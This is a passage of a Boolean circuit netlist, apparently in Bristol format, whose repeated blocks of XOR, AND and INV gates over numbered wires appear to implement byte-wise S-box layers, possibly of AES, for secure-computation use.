33298 33300 3876 XOR +2 1 33294 33300 3880 XOR +2 1 3880 3875 3956 XOR +2 1 33298 33301 3968 XOR +2 1 3874 3880 3963 XOR +2 1 3873 3968 3960 XOR +2 1 33294 3960 3959 XOR +2 1 33295 33296 3890 XOR +2 1 3890 3963 3961 XOR +2 1 3968 3890 3964 XOR +2 1 33296 33298 3970 XOR +2 1 3874 3970 3955 XOR +2 1 33299 3880 3966 XOR +2 1 33295 3966 3962 XOR +2 1 33297 33296 3850 XOR +2 1 3876 3874 3836 XOR +2 1 3873 3836 3958 XOR +2 1 3876 33299 3835 XOR +2 1 33294 3835 3965 XOR +2 1 33301 33295 3969 XOR +2 1 33301 33296 3967 XOR +2 1 3960 3964 3953 AND +2 1 3953 3876 3879 XOR +2 1 3961 3959 3952 AND +2 1 3965 33294 3951 AND +2 1 3969 3954 3950 AND +2 1 3950 3874 3878 XOR +2 1 3966 3962 3949 AND +2 1 3963 3956 3948 AND +2 1 3968 3957 3947 AND +2 1 3947 3875 3877 XOR +2 1 3879 3877 3883 XOR +2 1 33301 3883 3888 XOR +2 1 3970 3955 3946 AND +2 1 3946 3952 3897 XOR +2 1 3897 3888 3944 XOR +2 1 3946 3947 3849 XOR +2 1 3849 3850 3896 XOR +2 1 3896 3878 3895 XOR +2 1 3949 3895 3943 XOR +2 1 3967 3958 3945 AND +2 1 3945 3948 3898 XOR +2 1 3945 3951 3902 XOR +2 1 3902 3874 3889 XOR +2 1 3897 3889 3941 XOR +2 1 3946 3898 3892 XOR +2 1 3878 3898 3852 XOR +2 1 3852 3877 3942 XOR +2 1 3883 3902 3851 XOR +2 1 33299 3851 3894 XOR +2 1 3949 3892 3848 XOR +2 1 33295 3848 3936 XOR +2 1 3944 3943 3940 AND +2 1 3940 3894 3935 XOR +2 1 3940 3942 3939 XOR +2 1 3941 3939 3938 AND +2 1 3938 3894 3937 XOR +2 1 3938 3950 3843 XOR +2 1 3843 3879 3839 XOR +2 1 33301 3839 3842 XOR +2 1 3938 3888 3840 XOR +2 1 33299 3839 3838 XOR +2 1 3935 3936 3934 AND +2 1 3934 3942 3933 XOR +2 1 3940 3934 3932 XOR +2 1 3934 3892 3847 XOR +2 1 3934 3951 3846 XOR +2 1 3846 3948 3841 XOR +2 1 3841 3842 3925 XOR +2 1 3942 3932 3931 AND +2 1 3931 3939 3929 XOR +2 1 3931 3949 3901 XOR +2 1 3901 3895 3923 XOR +2 1 33295 3901 3884 XOR +2 1 3884 3847 3930 XOR +2 1 3937 3929 3928 AND +2 1 3928 3897 3887 XOR +2 1 3887 3889 3927 XOR +2 1 3928 3952 3845 XOR +2 1 3884 3845 3837 XOR +2 1 3874 3837 3844 XOR +2 1 3841 3844 3926 XOR +2 1 3887 3840 3924 XOR +2 1 3837 3838 3922 XOR +2 1 3923 3960 3921 AND +2 1 3930 3959 3920 AND +2 1 3933 33294 3919 AND +2 1 3919 3921 3900 XOR +2 1 3924 3954 3918 AND +2 1 3927 3966 3917 AND +2 1 3917 3918 3903 XOR +2 1 3937 3956 3916 AND +2 1 3916 3917 3854 XOR +2 1 3925 3957 3915 AND +2 1 3922 3955 3914 AND +2 1 3914 3903 3893 XOR +2 1 3914 3917 3869 XOR +1 1 3869 3866 INV +2 1 3914 3915 3865 XOR +2 1 3915 3893 3853 XOR +2 1 3926 3958 3913 AND +2 1 3923 3964 3912 AND +2 1 3930 3961 3911 AND +2 1 3933 3965 3910 AND +2 1 3910 3893 3859 XOR +1 1 3859 3856 INV +2 1 3924 3969 3909 AND +2 1 3909 3913 3885 XOR +2 1 3918 3909 3870 XOR +1 1 3885 3863 INV +2 1 3927 3962 3908 AND +2 1 3916 3908 3872 XOR +2 1 3937 3963 3907 AND +2 1 3863 3907 3862 XOR +2 1 3862 3900 3858 XOR +2 1 3925 3968 3906 AND +2 1 3906 3858 3861 XOR +2 1 3922 3970 3905 AND +2 1 3905 3906 3899 XOR +2 1 3911 3899 3881 XOR +2 1 3912 3881 3882 XOR +2 1 3920 3882 3886 XOR +2 1 3921 3886 3891 XOR +2 1 3903 3891 34853 XOR +2 1 3872 3899 3868 XOR +2 1 3900 3868 3871 XOR +2 1 3870 3871 3974 XOR +2 1 3863 3868 3867 XOR +2 1 3866 3867 3973 XOR +2 1 3891 3865 3972 XOR +2 1 3881 3858 3857 XOR +2 1 3856 3857 34851 XOR +2 1 3919 3886 3855 XOR +2 1 3854 3855 34852 XOR +2 1 3882 3853 34854 XOR +2 1 3926 3967 3904 AND +2 1 3915 3904 3864 XOR +1 1 3864 3860 INV +2 1 3860 3861 3971 XOR +2 1 33319 33321 4013 XOR +2 1 33323 33325 4014 XOR +2 1 33320 4013 4015 XOR +2 1 33324 4015 4096 XOR +2 1 33323 4015 4093 XOR +2 1 33322 33324 4016 XOR +2 1 33318 33324 4020 XOR +2 1 4020 4015 4095 XOR +2 1 33322 33325 4107 XOR +2 1 4014 4020 4102 XOR +2 1 4013 4107 4099 XOR +2 1 33318 4099 4098 XOR +2 1 33319 33320 4030 XOR +2 1 4030 4102 4100 XOR +2 1 4107 4030 4103 XOR +2 1 33320 33322 4109 XOR +2 1 4014 4109 4094 XOR +2 1 33323 4020 4105 XOR +2 1 33319 4105 4101 XOR +2 1 33321 33320 3990 XOR +2 1 4016 4014 3976 XOR +2 1 4013 3976 4097 XOR +2 1 4016 33323 3975 XOR +2 1 33318 3975 4104 XOR +2 1 33325 33319 4108 XOR +2 1 33325 33320 4106 XOR +2 1 4099 4103 4092 AND +2 1 4092 4016 4019 XOR +2 1 4100 4098 4091 AND +2 1 4104 33318 4090 AND +2 1 4108 4093 4089 AND +2 1 4089 4014 4018 XOR +2 1 4105 4101 4088 AND +2 1 4102 4095 4087 AND +2 1 4107 4096 4086 AND +2 1 4086 4015 4017 XOR +2 1 4019 4017 4023 XOR +2 1 33325 4023 4028 XOR +2 1 4109 4094 4085 AND +2 1 4085 4091 4037 XOR +2 1 4037 4028 4083 XOR +2 1 4085 4086 3989 XOR +2 1 3989 3990 4036 XOR +2 1 4036 4018 4035 XOR +2 1 4088 4035 4082 XOR +2 1 4106 4097 4084 AND +2 1 4084 4087 4038 XOR +2 1 4084 4090 4042 XOR +2 1 4042 4014 4029 XOR +2 1 4037 4029 4080 XOR +2 1 4085 4038 4032 XOR +2 1 4018 4038 3992 XOR +2 1 3992 4017 4081 XOR +2 1 4023 4042 3991 XOR +2 1 33323 3991 4034 XOR +2 1 4088 4032 3988 XOR +2 1 33319 3988 4075 XOR +2 1 4083 4082 4079 AND +2 1 4079 4034 4074 XOR +2 1 4079 4081 4078 XOR +2 1 4080 4078 4077 AND +2 1 4077 4034 4076 XOR +2 1 4077 4089 3983 XOR +2 1 3983 4019 3979 XOR +2 1 33325 3979 3982 XOR +2 1 4077 4028 3980 XOR +2 1 33323 3979 3978 XOR +2 1 4074 4075 4073 AND +2 1 4073 4081 4072 XOR +2 1 4079 4073 4071 XOR +2 1 4073 4032 3987 XOR +2 1 4073 4090 3986 XOR +2 1 3986 4087 3981 XOR +2 1 3981 3982 4064 XOR +2 1 4081 4071 4070 AND +2 1 4070 4078 4068 XOR +2 1 4070 4088 4041 XOR +2 1 4041 4035 4062 XOR +2 1 33319 4041 4024 XOR +2 1 4024 3987 4069 XOR +2 1 4076 4068 4067 AND +2 1 4067 4037 4027 XOR +2 1 4027 4029 4066 XOR +2 1 4067 4091 3985 XOR +2 1 4024 3985 3977 XOR +2 1 4014 3977 3984 XOR +2 1 3981 3984 4065 XOR +2 1 4027 3980 4063 XOR +2 1 3977 3978 4061 XOR +2 1 4062 4099 4060 AND +2 1 4069 4098 4059 AND +2 1 4072 33318 4058 AND +2 1 4058 4060 4040 XOR +2 1 4063 4093 4057 AND +2 1 4066 4105 4056 AND +2 1 4076 4095 4055 AND +2 1 4055 4056 3994 XOR +2 1 4064 4096 4054 AND +2 1 4061 4094 4053 AND +2 1 4053 4056 4009 XOR +1 1 4009 4006 INV +2 1 4053 4054 4005 XOR +2 1 4065 4097 4052 AND +2 1 4062 4103 4051 AND +2 1 4069 4100 4050 AND +2 1 4072 4104 4049 AND +2 1 4063 4108 4048 AND +2 1 4048 4052 4025 XOR +2 1 4057 4048 4010 XOR +1 1 4025 4003 INV +2 1 4066 4101 4047 AND +2 1 4055 4047 4012 XOR +2 1 4076 4102 4046 AND +2 1 4003 4046 4002 XOR +2 1 4002 4040 3998 XOR +2 1 4064 4107 4045 AND +2 1 4045 3998 4001 XOR +2 1 4061 4109 4044 AND +2 1 4044 4045 4039 XOR +2 1 4050 4039 4021 XOR +2 1 4051 4021 4022 XOR +2 1 4059 4022 4026 XOR +2 1 4060 4026 4031 XOR +2 1 4012 4039 4008 XOR +2 1 4040 4008 4011 XOR +2 1 4010 4011 4113 XOR +2 1 4003 4008 4007 XOR +2 1 4006 4007 4112 XOR +2 1 4031 4005 4111 XOR +2 1 4021 3998 3997 XOR +2 1 4058 4026 3995 XOR +2 1 3994 3995 34811 XOR +2 1 4065 4106 4043 AND +2 1 4054 4043 4004 XOR +1 1 4004 4000 INV +2 1 4000 4001 4110 XOR +2 1 33327 33329 4152 XOR +2 1 33331 33333 4153 XOR +2 1 33328 4152 4154 XOR +2 1 33332 4154 4235 XOR +2 1 33331 4154 4232 XOR +2 1 33330 33332 4155 XOR +2 1 33326 33332 4159 XOR +2 1 4159 4154 4234 XOR +2 1 33330 33333 4246 XOR +2 1 4153 4159 4241 XOR +2 1 4152 4246 4238 XOR +2 1 33326 4238 4237 XOR +2 1 33327 33328 4169 XOR +2 1 4169 4241 4239 XOR +2 1 4246 4169 4242 XOR +2 1 33328 33330 4248 XOR +2 1 4153 4248 4233 XOR +2 1 33331 4159 4244 XOR +2 1 33327 4244 4240 XOR +2 1 33329 33328 4129 XOR +2 1 4155 4153 4115 XOR +2 1 4152 4115 4236 XOR +2 1 4155 33331 4114 XOR +2 1 33326 4114 4243 XOR +2 1 33333 33327 4247 XOR +2 1 33333 33328 4245 XOR +2 1 4238 4242 4231 AND +2 1 4231 4155 4158 XOR +2 1 4239 4237 4230 AND +2 1 4243 33326 4229 AND +2 1 4247 4232 4228 AND +2 1 4228 4153 4157 XOR +2 1 4244 4240 4227 AND +2 1 4241 4234 4226 AND +2 1 4246 4235 4225 AND +2 1 4225 4154 4156 XOR +2 1 4158 4156 4162 XOR +2 1 33333 4162 4167 XOR +2 1 4248 4233 4224 AND +2 1 4224 4230 4176 XOR +2 1 4176 4167 4222 XOR +2 1 4224 4225 4128 XOR +2 1 4128 4129 4175 XOR +2 1 4175 4157 4174 XOR +2 1 4227 4174 4221 XOR +2 1 4245 4236 4223 AND +2 1 4223 4226 4177 XOR +2 1 4223 4229 4181 XOR +2 1 4181 4153 4168 XOR +2 1 4176 4168 4219 XOR +2 1 4224 4177 4171 XOR +2 1 4157 4177 4131 XOR +2 1 4131 4156 4220 XOR +2 1 4162 4181 4130 XOR +2 1 33331 4130 4173 XOR +2 1 4227 4171 4127 XOR +2 1 33327 4127 4214 XOR +2 1 4222 4221 4218 AND +2 1 4218 4173 4213 XOR +2 1 4218 4220 4217 XOR +2 1 4219 4217 4216 AND +2 1 4216 4173 4215 XOR +2 1 4216 4228 4122 XOR +2 1 4122 4158 4118 XOR +2 1 33333 4118 4121 XOR +2 1 4216 4167 4119 XOR +2 1 33331 4118 4117 XOR +2 1 4213 4214 4212 AND +2 1 4212 4220 4211 XOR +2 1 4218 4212 4210 XOR +2 1 4212 4171 4126 XOR +2 1 4212 4229 4125 XOR +2 1 4125 4226 4120 XOR +2 1 4120 4121 4203 XOR +2 1 4220 4210 4209 AND +2 1 4209 4217 4207 XOR +2 1 4209 4227 4180 XOR +2 1 4180 4174 4201 XOR +2 1 33327 4180 4163 XOR +2 1 4163 4126 4208 XOR +2 1 4215 4207 4206 AND +2 1 4206 4176 4166 XOR +2 1 4166 4168 4205 XOR +2 1 4206 4230 4124 XOR +2 1 4163 4124 4116 XOR +2 1 4153 4116 4123 XOR +2 1 4120 4123 4204 XOR +2 1 4166 4119 4202 XOR +2 1 4116 4117 4200 XOR +2 1 4201 4238 4199 AND +2 1 4208 4237 4198 AND +2 1 4211 33326 4197 AND +2 1 4197 4199 4179 XOR +2 1 4202 4232 4196 AND +2 1 4205 4244 4195 AND +2 1 4215 4234 4194 AND +2 1 4194 4195 4133 XOR +2 1 4203 4235 4193 AND +2 1 4200 4233 4192 AND +2 1 4192 4195 4148 XOR +1 1 4148 4145 INV +2 1 4192 4193 4144 XOR +2 1 4204 4236 4191 AND +2 1 4201 4242 4190 AND +2 1 4208 4239 4189 AND +2 1 4211 4243 4188 AND +2 1 4202 4247 4187 AND +2 1 4187 4191 4164 XOR +2 1 4196 4187 4149 XOR +1 1 4164 4142 INV +2 1 4205 4240 4186 AND +2 1 4194 4186 4151 XOR +2 1 4215 4241 4185 AND +2 1 4142 4185 4141 XOR +2 1 4141 4179 4137 XOR +2 1 4203 4246 4184 AND +2 1 4184 4137 4140 XOR +2 1 4200 4248 4183 AND +2 1 4183 4184 4178 XOR +2 1 4189 4178 4160 XOR +2 1 4190 4160 4161 XOR +2 1 4198 4161 4165 XOR +2 1 4199 4165 4170 XOR +2 1 4151 4178 4147 XOR +2 1 4179 4147 4150 XOR +2 1 4149 4150 4252 XOR +2 1 4142 4147 4146 XOR +2 1 4145 4146 4251 XOR +2 1 4170 4144 4250 XOR +2 1 4160 4137 4136 XOR +2 1 4197 4165 4134 XOR +2 1 4133 4134 34795 XOR +2 1 4204 4245 4182 AND +2 1 4193 4182 4143 XOR +1 1 4143 4139 INV +2 1 4139 4140 4249 XOR +1 1 4250 34798 INV +1 1 4249 34797 INV +2 1 33343 33345 4291 XOR +2 1 33347 33349 4292 XOR +2 1 33344 4291 4293 XOR +2 1 33348 4293 4374 XOR +2 1 33347 4293 4371 XOR +2 1 33346 33348 4294 XOR +2 1 33342 33348 4298 XOR +2 1 4298 4293 4373 XOR +2 1 33346 33349 4385 XOR +2 1 4292 4298 4380 XOR +2 1 4291 4385 4377 XOR +2 1 33342 4377 4376 XOR +2 1 33343 33344 4308 XOR +2 1 4308 4380 4378 XOR +2 1 4385 4308 4381 XOR +2 1 33344 33346 4387 XOR +2 1 4292 4387 4372 XOR +2 1 33347 4298 4383 XOR +2 1 33343 4383 4379 XOR +2 1 33345 33344 4268 XOR +2 1 4294 4292 4254 XOR +2 1 4291 4254 4375 XOR +2 1 4294 33347 4253 XOR +2 1 33342 4253 4382 XOR +2 1 33349 33343 4386 XOR +2 1 33349 33344 4384 XOR +2 1 4377 4381 4370 AND +2 1 4370 4294 4297 XOR +2 1 4378 4376 4369 AND +2 1 4382 33342 4368 AND +2 1 4386 4371 4367 AND +2 1 4367 4292 4296 XOR +2 1 4383 4379 4366 AND +2 1 4380 4373 4365 AND +2 1 4385 4374 4364 AND +2 1 4364 4293 4295 XOR +2 1 4297 4295 4301 XOR +2 1 33349 4301 4306 XOR +2 1 4387 4372 4363 AND +2 1 4363 4369 4315 XOR +2 1 4315 4306 4361 XOR +2 1 4363 4364 4267 XOR +2 1 4267 4268 4314 XOR +2 1 4314 4296 4313 XOR +2 1 4366 4313 4360 XOR +2 1 4384 4375 4362 AND +2 1 4362 4365 4316 XOR +2 1 4362 4368 4320 XOR +2 1 4320 4292 4307 XOR +2 1 4315 4307 4358 XOR +2 1 4363 4316 4310 XOR +2 1 4296 4316 4270 XOR +2 1 4270 4295 4359 XOR +2 1 4301 4320 4269 XOR +2 1 33347 4269 4312 XOR +2 1 4366 4310 4266 XOR +2 1 33343 4266 4353 XOR +2 1 4361 4360 4357 AND +2 1 4357 4312 4352 XOR +2 1 4357 4359 4356 XOR +2 1 4358 4356 4355 AND +2 1 4355 4312 4354 XOR +2 1 4355 4367 4261 XOR +2 1 4261 4297 4257 XOR +2 1 33349 4257 4260 XOR +2 1 4355 4306 4258 XOR +2 1 33347 4257 4256 XOR +2 1 4352 4353 4351 AND +2 1 4351 4359 4350 XOR +2 1 4357 4351 4349 XOR +2 1 4351 4310 4265 XOR +2 1 4351 4368 4264 XOR +2 1 4264 4365 4259 XOR +2 1 4259 4260 4342 XOR +2 1 4359 4349 4348 AND +2 1 4348 4356 4346 XOR +2 1 4348 4366 4319 XOR +2 1 4319 4313 4340 XOR +2 1 33343 4319 4302 XOR +2 1 4302 4265 4347 XOR +2 1 4354 4346 4345 AND +2 1 4345 4315 4305 XOR +2 1 4305 4307 4344 XOR +2 1 4345 4369 4263 XOR +2 1 4302 4263 4255 XOR +2 1 4292 4255 4262 XOR +2 1 4259 4262 4343 XOR +2 1 4305 4258 4341 XOR +2 1 4255 4256 4339 XOR +2 1 4340 4377 4338 AND +2 1 4347 4376 4337 AND +2 1 4350 33342 4336 AND +2 1 4336 4338 4318 XOR +2 1 4341 4371 4335 AND +2 1 4344 4383 4334 AND +2 1 4354 4373 4333 AND +2 1 4333 4334 4272 XOR +2 1 4342 4374 4332 AND +2 1 4339 4372 4331 AND +2 1 4331 4334 4287 XOR +1 1 4287 4284 INV +2 1 4331 4332 4283 XOR +2 1 4343 4375 4330 AND +2 1 4340 4381 4329 AND +2 1 4347 4378 4328 AND +2 1 4350 4382 4327 AND +2 1 4341 4386 4326 AND +2 1 4326 4330 4303 XOR +2 1 4335 4326 4288 XOR +1 1 4303 4281 INV +2 1 4344 4379 4325 AND +2 1 4333 4325 4290 XOR +2 1 4354 4380 4324 AND +2 1 4281 4324 4280 XOR +2 1 4280 4318 4276 XOR +2 1 4342 4385 4323 AND +2 1 4323 4276 4279 XOR +2 1 4339 4387 4322 AND +2 1 4322 4323 4317 XOR +2 1 4328 4317 4299 XOR +2 1 4329 4299 4300 XOR +2 1 4337 4300 4304 XOR +2 1 4338 4304 4309 XOR +2 1 4290 4317 4286 XOR +2 1 4318 4286 4289 XOR +2 1 4288 4289 4391 XOR +2 1 4281 4286 4285 XOR +2 1 4284 4285 4390 XOR +2 1 4309 4283 4389 XOR +2 1 4299 4276 4275 XOR +2 1 4336 4304 4273 XOR +2 1 4272 4273 34843 XOR +2 1 4343 4384 4321 AND +2 1 4332 4321 4282 XOR +1 1 4282 4278 INV +2 1 4278 4279 4388 XOR +2 1 33351 33353 4430 XOR +2 1 33355 33357 4431 XOR +2 1 33352 4430 4432 XOR +2 1 33356 4432 4513 XOR +2 1 33355 4432 4510 XOR +2 1 33354 33356 4433 XOR +2 1 33350 33356 4437 XOR +2 1 4437 4432 4512 XOR +2 1 33354 33357 4524 XOR +2 1 4431 4437 4519 XOR +2 1 4430 4524 4516 XOR +2 1 33350 4516 4515 XOR +2 1 33351 33352 4447 XOR +2 1 4447 4519 4517 XOR +2 1 4524 4447 4520 XOR +2 1 33352 33354 4526 XOR +2 1 4431 4526 4511 XOR +2 1 33355 4437 4522 XOR +2 1 33351 4522 4518 XOR +2 1 33353 33352 4407 XOR +2 1 4433 4431 4393 XOR +2 1 4430 4393 4514 XOR +2 1 4433 33355 4392 XOR +2 1 33350 4392 4521 XOR +2 1 33357 33351 4525 XOR +2 1 33357 33352 4523 XOR +2 1 4516 4520 4509 AND +2 1 4509 4433 4436 XOR +2 1 4517 4515 4508 AND +2 1 4521 33350 4507 AND +2 1 4525 4510 4506 AND +2 1 4506 4431 4435 XOR +2 1 4522 4518 4505 AND +2 1 4519 4512 4504 AND +2 1 4524 4513 4503 AND +2 1 4503 4432 4434 XOR +2 1 4436 4434 4440 XOR +2 1 33357 4440 4445 XOR +2 1 4526 4511 4502 AND +2 1 4502 4508 4454 XOR +2 1 4454 4445 4500 XOR +2 1 4502 4503 4406 XOR +2 1 4406 4407 4453 XOR +2 1 4453 4435 4452 XOR +2 1 4505 4452 4499 XOR +2 1 4523 4514 4501 AND +2 1 4501 4504 4455 XOR +2 1 4501 4507 4459 XOR +2 1 4459 4431 4446 XOR +2 1 4454 4446 4497 XOR +2 1 4502 4455 4449 XOR +2 1 4435 4455 4409 XOR +2 1 4409 4434 4498 XOR +2 1 4440 4459 4408 XOR +2 1 33355 4408 4451 XOR +2 1 4505 4449 4405 XOR +2 1 33351 4405 4492 XOR +2 1 4500 4499 4496 AND +2 1 4496 4451 4491 XOR +2 1 4496 4498 4495 XOR +2 1 4497 4495 4494 AND +2 1 4494 4451 4493 XOR +2 1 4494 4506 4400 XOR +2 1 4400 4436 4396 XOR +2 1 33357 4396 4399 XOR +2 1 4494 4445 4397 XOR +2 1 33355 4396 4395 XOR +2 1 4491 4492 4490 AND +2 1 4490 4498 4489 XOR +2 1 4496 4490 4488 XOR +2 1 4490 4449 4404 XOR +2 1 4490 4507 4403 XOR +2 1 4403 4504 4398 XOR +2 1 4398 4399 4481 XOR +2 1 4498 4488 4487 AND +2 1 4487 4495 4485 XOR +2 1 4487 4505 4458 XOR +2 1 4458 4452 4479 XOR +2 1 33351 4458 4441 XOR +2 1 4441 4404 4486 XOR +2 1 4493 4485 4484 AND +2 1 4484 4454 4444 XOR +2 1 4444 4446 4483 XOR +2 1 4484 4508 4402 XOR +2 1 4441 4402 4394 XOR +2 1 4431 4394 4401 XOR +2 1 4398 4401 4482 XOR +2 1 4444 4397 4480 XOR +2 1 4394 4395 4478 XOR +2 1 4479 4516 4477 AND +2 1 4486 4515 4476 AND +2 1 4489 33350 4475 AND +2 1 4475 4477 4457 XOR +2 1 4480 4510 4474 AND +2 1 4483 4522 4473 AND +2 1 4493 4512 4472 AND +2 1 4472 4473 4411 XOR +2 1 4481 4513 4471 AND +2 1 4478 4511 4470 AND +2 1 4470 4473 4426 XOR +1 1 4426 4423 INV +2 1 4470 4471 4422 XOR +2 1 4482 4514 4469 AND +2 1 4479 4520 4468 AND +2 1 4486 4517 4467 AND +2 1 4489 4521 4466 AND +2 1 4480 4525 4465 AND +2 1 4465 4469 4442 XOR +2 1 4474 4465 4427 XOR +1 1 4442 4420 INV +2 1 4483 4518 4464 AND +2 1 4472 4464 4429 XOR +2 1 4493 4519 4463 AND +2 1 4420 4463 4419 XOR +2 1 4419 4457 4415 XOR +2 1 4481 4524 4462 AND +2 1 4462 4415 4418 XOR +2 1 4478 4526 4461 AND +2 1 4461 4462 4456 XOR +2 1 4467 4456 4438 XOR +2 1 4468 4438 4439 XOR +2 1 4476 4439 4443 XOR +2 1 4477 4443 4448 XOR +2 1 4429 4456 4425 XOR +2 1 4457 4425 4428 XOR +2 1 4427 4428 4530 XOR +2 1 4420 4425 4424 XOR +2 1 4423 4424 4529 XOR +2 1 4448 4422 4528 XOR +2 1 4438 4415 4414 XOR +2 1 4475 4443 4412 XOR +2 1 4411 4412 34828 XOR +2 1 4482 4523 4460 AND +2 1 4471 4460 4421 XOR +1 1 4421 4417 INV +2 1 4417 4418 4527 XOR +2 1 33359 33361 4569 XOR +2 1 33363 33365 4570 XOR +2 1 33360 4569 4571 XOR +2 1 33364 4571 4652 XOR +2 1 33363 4571 4649 XOR +2 1 33362 33364 4572 XOR +2 1 33358 33364 4576 XOR +2 1 4576 4571 4651 XOR +2 1 33362 33365 4663 XOR +2 1 4570 4576 4658 XOR +2 1 4569 4663 4655 XOR +2 1 33358 4655 4654 XOR +2 1 33359 33360 4586 XOR +2 1 4586 4658 4656 XOR +2 1 4663 4586 4659 XOR +2 1 33360 33362 4665 XOR +2 1 4570 4665 4650 XOR +2 1 33363 4576 4661 XOR +2 1 33359 4661 4657 XOR +2 1 33361 33360 4546 XOR +2 1 4572 4570 4532 XOR +2 1 4569 4532 4653 XOR +2 1 4572 33363 4531 XOR +2 1 33358 4531 4660 XOR +2 1 33365 33359 4664 XOR +2 1 33365 33360 4662 XOR +2 1 4655 4659 4648 AND +2 1 4648 4572 4575 XOR +2 1 4656 4654 4647 AND +2 1 4660 33358 4646 AND +2 1 4664 4649 4645 AND +2 1 4645 4570 4574 XOR +2 1 4661 4657 4644 AND +2 1 4658 4651 4643 AND +2 1 4663 4652 4642 AND +2 1 4642 4571 4573 XOR +2 1 4575 4573 4579 XOR +2 1 33365 4579 4584 XOR +2 1 4665 4650 4641 AND +2 1 4641 4647 4593 XOR +2 1 4593 4584 4639 XOR +2 1 4641 4642 4545 XOR +2 1 4545 4546 4592 XOR +2 1 4592 4574 4591 XOR +2 1 4644 4591 4638 XOR +2 1 4662 4653 4640 AND +2 1 4640 4643 4594 XOR +2 1 4640 4646 4598 XOR +2 1 4598 4570 4585 XOR +2 1 4593 4585 4636 XOR +2 1 4641 4594 4588 XOR +2 1 4574 4594 4548 XOR +2 1 4548 4573 4637 XOR +2 1 4579 4598 4547 XOR +2 1 33363 4547 4590 XOR +2 1 4644 4588 4544 XOR +2 1 33359 4544 4631 XOR +2 1 4639 4638 4635 AND +2 1 4635 4590 4630 XOR +2 1 4635 4637 4634 XOR +2 1 4636 4634 4633 AND +2 1 4633 4590 4632 XOR +2 1 4633 4645 4539 XOR +2 1 4539 4575 4535 XOR +2 1 33365 4535 4538 XOR +2 1 4633 4584 4536 XOR +2 1 33363 4535 4534 XOR +2 1 4630 4631 4629 AND +2 1 4629 4637 4628 XOR +2 1 4635 4629 4627 XOR +2 1 4629 4588 4543 XOR +2 1 4629 4646 4542 XOR +2 1 4542 4643 4537 XOR +2 1 4537 4538 4620 XOR +2 1 4637 4627 4626 AND +2 1 4626 4634 4624 XOR +2 1 4626 4644 4597 XOR +2 1 4597 4591 4618 XOR +2 1 33359 4597 4580 XOR +2 1 4580 4543 4625 XOR +2 1 4632 4624 4623 AND +2 1 4623 4593 4583 XOR +2 1 4583 4585 4622 XOR +2 1 4623 4647 4541 XOR +2 1 4580 4541 4533 XOR +2 1 4570 4533 4540 XOR +2 1 4537 4540 4621 XOR +2 1 4583 4536 4619 XOR +2 1 4533 4534 4617 XOR +2 1 4618 4655 4616 AND +2 1 4625 4654 4615 AND +2 1 4628 33358 4614 AND +2 1 4614 4616 4596 XOR +2 1 4619 4649 4613 AND +2 1 4622 4661 4612 AND +2 1 4632 4651 4611 AND +2 1 4611 4612 4550 XOR +2 1 4620 4652 4610 AND +2 1 4617 4650 4609 AND +2 1 4609 4612 4565 XOR +1 1 4565 4562 INV +2 1 4609 4610 4561 XOR +2 1 4621 4653 4608 AND +2 1 4618 4659 4607 AND +2 1 4625 4656 4606 AND +2 1 4628 4660 4605 AND +2 1 4619 4664 4604 AND +2 1 4604 4608 4581 XOR +2 1 4613 4604 4566 XOR +1 1 4581 4559 INV +2 1 4622 4657 4603 AND +2 1 4611 4603 4568 XOR +2 1 4632 4658 4602 AND +2 1 4559 4602 4558 XOR +2 1 4558 4596 4554 XOR +2 1 4620 4663 4601 AND +2 1 4601 4554 4557 XOR +2 1 4617 4665 4600 AND +2 1 4600 4601 4595 XOR +2 1 4606 4595 4577 XOR +2 1 4607 4577 4578 XOR +2 1 4615 4578 4582 XOR +2 1 4616 4582 4587 XOR +2 1 4568 4595 4564 XOR +2 1 4596 4564 4567 XOR +2 1 4566 4567 4669 XOR +2 1 4559 4564 4563 XOR +2 1 4562 4563 4668 XOR +2 1 4587 4561 4667 XOR +2 1 4577 4554 4553 XOR +2 1 4614 4582 4551 XOR +2 1 4550 4551 34816 XOR +2 1 4621 4662 4599 AND +2 1 4610 4599 4560 XOR +1 1 4560 4556 INV +2 1 4556 4557 4666 XOR +1 1 4668 34814 INV +2 1 33367 33369 4708 XOR +2 1 33371 33373 4709 XOR +2 1 33368 4708 4710 XOR +2 1 33372 4710 4791 XOR +2 1 33371 4710 4788 XOR +2 1 33370 33372 4711 XOR +2 1 33366 33372 4715 XOR +2 1 4715 4710 4790 XOR +2 1 33370 33373 4802 XOR +2 1 4709 4715 4797 XOR +2 1 4708 4802 4794 XOR +2 1 33366 4794 4793 XOR +2 1 33367 33368 4725 XOR +2 1 4725 4797 4795 XOR +2 1 4802 4725 4798 XOR +2 1 33368 33370 4804 XOR +2 1 4709 4804 4789 XOR +2 1 33371 4715 4800 XOR +2 1 33367 4800 4796 XOR +2 1 33369 33368 4685 XOR +2 1 4711 4709 4671 XOR +2 1 4708 4671 4792 XOR +2 1 4711 33371 4670 XOR +2 1 33366 4670 4799 XOR +2 1 33373 33367 4803 XOR +2 1 33373 33368 4801 XOR +2 1 4794 4798 4787 AND +2 1 4787 4711 4714 XOR +2 1 4795 4793 4786 AND +2 1 4799 33366 4785 AND +2 1 4803 4788 4784 AND +2 1 4784 4709 4713 XOR +2 1 4800 4796 4783 AND +2 1 4797 4790 4782 AND +2 1 4802 4791 4781 AND +2 1 4781 4710 4712 XOR +2 1 4714 4712 4718 XOR +2 1 33373 4718 4723 XOR +2 1 4804 4789 4780 AND +2 1 4780 4786 4732 XOR +2 1 4732 4723 4778 XOR +2 1 4780 4781 4684 XOR +2 1 4684 4685 4731 XOR +2 1 4731 4713 4730 XOR +2 1 4783 4730 4777 XOR +2 1 4801 4792 4779 AND +2 1 4779 4782 4733 XOR +2 1 4779 4785 4737 XOR +2 1 4737 4709 4724 XOR +2 1 4732 4724 4775 XOR +2 1 4780 4733 4727 XOR +2 1 4713 4733 4687 XOR +2 1 4687 4712 4776 XOR +2 1 4718 4737 4686 XOR +2 1 33371 4686 4729 XOR +2 1 4783 4727 4683 XOR +2 1 33367 4683 4770 XOR +2 1 4778 4777 4774 AND +2 1 4774 4729 4769 XOR +2 1 4774 4776 4773 XOR +2 1 4775 4773 4772 AND +2 1 4772 4729 4771 XOR +2 1 4772 4784 4678 XOR +2 1 4678 4714 4674 XOR +2 1 33373 4674 4677 XOR +2 1 4772 4723 4675 XOR +2 1 33371 4674 4673 XOR +2 1 4769 4770 4768 AND +2 1 4768 4776 4767 XOR +2 1 4774 4768 4766 XOR +2 1 4768 4727 4682 XOR +2 1 4768 4785 4681 XOR +2 1 4681 4782 4676 XOR +2 1 4676 4677 4759 XOR +2 1 4776 4766 4765 AND +2 1 4765 4773 4763 XOR +2 1 4765 4783 4736 XOR +2 1 4736 4730 4757 